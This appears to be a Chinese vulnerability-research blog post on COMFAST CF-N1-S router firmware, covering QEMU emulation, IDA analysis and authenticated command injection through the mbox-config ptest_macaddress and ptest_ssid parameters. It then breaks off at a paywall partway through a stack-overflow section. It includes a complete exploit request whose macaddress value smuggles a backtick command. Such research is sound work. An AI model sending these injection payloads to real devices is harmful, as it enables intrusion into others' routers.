COMFAST 固件漏洞挖掘与分析

新发布漏洞挖掘命令执行
2026-07-08 06:51
6891

1、用户模拟COMFAST CF-N1-S-V2.6.0.1固件

官网固件下载网址:
https://www.comfast.com.cn/index.php?m=content&c=index&a=show&catid=31&id=779
图片.png
得到固件直接执行命令:binwalk -Me CF-N1-S-V2.6.0.1.bin
图片.png
在 /etc/inittab 下第一行有一个 rcS 启动
图片.png
但是没发现这里面有 rcS
图片.png
在文章里有提到 webmgnt 是网页服务环境
图片.png
并且在这个程序里面发现一句话 ”Starting web-management CGI server”
这其实就是网页CGI管理的后端
图片.png
来到 /usr/bin 目录下查看一下是 Mips 架构和 big endian 大端
图片.png
再看用 checksec 查看只开启 NX 保护
图片.png
因为是模拟 Mips 大端将模拟程序 qemu-mips-static 复制到固件包根目录
执行命令:cp $(which qemu-mips-static) ./
图片.png
这里尝试启动 webmgnt 后端有提示很多东西没创建
执行命令:sudo chroot . ./qemu-mips-static ./usr/bin/webmgnt
图片.png
图片.png
包括尝试启动 nginx 前端有提示没创建 var/log/nginx/error.log
执行命令:
sudo chroot . ./qemu-mips-static ./usr/sbin/nginx -c /tmp/nginx-iot.conf -g 'daemon off;'
图片.png
包括这个目录下也是空目录
图片.png
这里给出脚本用于补齐缺失目录,缺什么补什么
++++++++++++++++++补齐 Web 缺失脚本++++++++++++++++++

创建 UCI 需要的目录

sudo mkdir -p tmp/log
sudo mkdir -p tmp/.uci
sudo mkdir -p tmp/lock
sudo mkdir -p tmp/state
sudo mkdir -p tmp/run
sudo chmod 777 tmp
sudo chmod 777 tmp/log
sudo chmod 777 tmp/.uci
sudo chmod 777 tmp/lock
sudo chmod 777 tmp/state
sudo chmod 777 tmp/run

删除 var 链接(指向 /dev/null),创建真实目录

sudo rm -f var
sudo mkdir -p var/lock
sudo mkdir -p var/state
sudo mkdir -p var/run
sudo mkdir -p var/log/nginx
sudo mkdir -p var/cache/nginx
sudo mkdir -p var/lib/nginx/body
sudo mkdir -p var/lib/nginx/proxy
sudo chmod 777 var
sudo chmod 777 var/lock
sudo chmod 777 var/state
sudo chmod 777 var/run
sudo chmod 777 var/log
sudo chmod 777 var/log/nginx
sudo chmod 777 var/cache/nginx
sudo chmod 777 var/lib/nginx/body
sudo chmod 777 var/lib/nginx/proxy
sudo touch var/log/nginx/error.log
sudo touch var/log/nginx/access.log
sudo chmod 666 var/log/nginx/error.log
sudo chmod 666 var/log/nginx/access.log

创建 /dev 设备节点

sudo mkdir -p dev
sudo mknod dev/null c 1 3
sudo chmod 666 dev/null
sudo mknod dev/zero c 1 5
sudo chmod 666 dev/zero
sudo mknod dev/random c 1 8
sudo chmod 666 dev/random
sudo mknod dev/urandom c 1 9
sudo chmod 666 dev/urandom

创建 UCI 配置文件

sudo mkdir -p etc/config
sudo touch etc/config/network
sudo touch etc/config/wireless
sudo touch etc/config/firewall
sudo touch etc/config/system

创建 Nginx 需要的目录和文件

sudo mkdir -p www-comfast
sudo chmod 777 www-comfast
sudo mkdir -p ssl
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
    -keyout ssl/cflogin.key \
    -out ssl/cflogin.pem \
    -subj "/C=US/ST=State/L=City/O=Organization/CN=localhost"
sudo chmod 666 ssl/cflogin.pem
sudo chmod 666 ssl/cflogin.key
sudo touch etc/nginx/fastcgi_params
sudo chmod 666 etc/nginx/fastcgi_params
sudo cp etc/nginx/fastcgi_params tmp/fastcgi_params
sudo touch tmp/mime.types
sudo cp etc/nginx/mime.types tmp/mime.types 2>/dev/null || true

创建 Nginx 配置文件

sudo tee tmp/nginx-iot.conf << 'EOF'
user nobody nogroup;
worker_processes  1; 

events {
    use epoll;
    worker_connections  4096;
}

http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;

    client_header_buffer_size 32k;
    large_client_header_buffers 4 64k;
    
    access_log /dev/null;
    error_log /dev/null;

    sendfile        on;
    
    client_header_timeout 5;
    client_body_timeout 1;
    send_timeout 5;

    fastcgi_intercept_errors on;
    
    server {
        server_name cflogin.cn;
        listen 8080;
        add_header Cache-Control no-cache;
        add_header Cache-Control private;
        error_page 404 = /login.html;
        
        location /cgi-bin {
            keepalive_timeout  0;
            fastcgi_pass 127.0.0.1:9002;
            include /etc/nginx/fastcgi_params;
            client_max_body_size 20m;
        }
        
        location / {
            keepalive_timeout  5;
            root /www-comfast;
            index /cgi-bin/index;
        }
    }
}
EOF

++++++++++++++++++补齐 Web 缺失脚本++++++++++++++++++
再次启动
图片.png
进去网页并输入账户:admin 、密码:admin
图片.png
但是一登录就发现 webmgnt 后端崩溃,看到最后报错还有文件缺失
图片.png
这里用文章给出补齐的命令粘贴到脚本里面,防止 sysinfo 崩溃

sudo echo "cf-n1s" > tmp/sysinfo/board_name
sudo echo "CF-N1-S" > tmp/sysinfo/model
sudo echo "00:11:22:33:44:55" > tmp/sysinfo/mac
sudo echo "25" > tmp/sysinfo/txpower
sudo touch tmp/sysinfo/button_wps
sudo echo "1" > tmp/sysinfo/admin_wifi_exist
sudo echo "00:11:22:33:44:55" > tmp/sysinfo/wifidog_mac

图片.png
启动 brup 开始抓包
这一堆数据包是从登录页面到管理页面的
根据文章发现这里接口是有漏洞的
图片.png
图片.png

2、命令注入漏洞

把webmgnt 拖到 IDA 里面分析
来到这个 sub_44A968() 函数下
图片.png
在第 26 行有 off_47D308 指向 popen() 函数
图片.png
图片.png
在第 25 行又发现 off_47D1FC 指向 sprintf() 函数
图片.png
并且是用 v3 拼接在 v7 一起
图片.png
第 24 行 v3 又是通过 v9 赋值
图片.png
第 19 行 v9 是通过 v8 赋值
图片.png
第 17 行 v8 是通过 &off_469558 指向macaddress 请全体得到字符串
图片.png
图片.png
这里按 x 看到接口处理是用 ptest_macaddress (翻译:测试 MAC 地址)
并且是通过 SET
图片.png
鼠标往上滑在这一列表顶部发现有 mbox_config 接口取处理这些函数
图片.png
从刚才 mbox_config 对应的是数据包 mbox-config
图片.png
接着搜索 mbox-config ,因为模拟用了 chroot 需要加 sudo
执行命令:sudo grep -ir mbox-config
这里直接就能看到 mbox-config 处理整个 URL 的接口
图片.png
这个包拿过来改一下
图片.png
这个 POST 请全体标记颜色处是要改的地方
还要注意必须要有一个有效会话 Cookie
Cookie: COMFAST_SESSIONID=7f000001-000000000000-643c9869
也就是必须得登录到管理页面才行
++++++++++贴出 POST 请全体++++++++++

POST /cgi-bin/mbox-config?method=SET&section=ptest_macaddress HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 2
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: appliation/json
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
sec-ch-ua-platform: "Linux"
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: COMFAST_SESSIONID=7f000001-000000000000-643c9869
Connection: close

{
	"macaddress": "127.0.0.1`touch 777.txt`"
}

+++++++++++++贴出 POST 请全体+++++++++++++
这里发送构造直接发送发现回复 502
图片.png
执行完后服务器会崩溃
图片.png
但是可以看到在根目录下已经 777.txt 文件
图片.png
补充:如果回复的是下面这个图片表示函数未执行
图片.png
按照上面思路来,在寻找过程中能发现参数 method=SET 的处理,的确有大量命令拼接
来到 sub_44B438() 函数
图片.png
在第 20 行和第 22 行处也是用户可控拼接命令注入
图片.png
图片.png
图片.png
它的接口处理是 ptest_ssid
图片.png
请求体是 ssid 处理
图片.png
用 brup 发包
图片.png
并且可以看到根目录生成 888.txt
图片.png

3、栈溢出漏洞

来到 0x406882 这个地址下,这里有个 get_para_from_uri() 里面有溢出
这里想着生成伪代码,但是 IDA 提示说该函数下常量开辟栈空间太大无法生成伪代码
图片.png
下面这一段是利用 AI 生成的一段伪代码
有点长可以粘贴到编译器或文本里面去查看
+++++++++++++++++++请求体处理伪代码+++++++++++

试读结束,发布七天后转为公开

公开时间:2026年7月15日 06:51:32

提前解锁全文,需花费 50 积分

登录解锁全文
分享到

参与评论

0 / 200

全部评论 0

暂无人评论
投稿
签到
联系我们
关于我们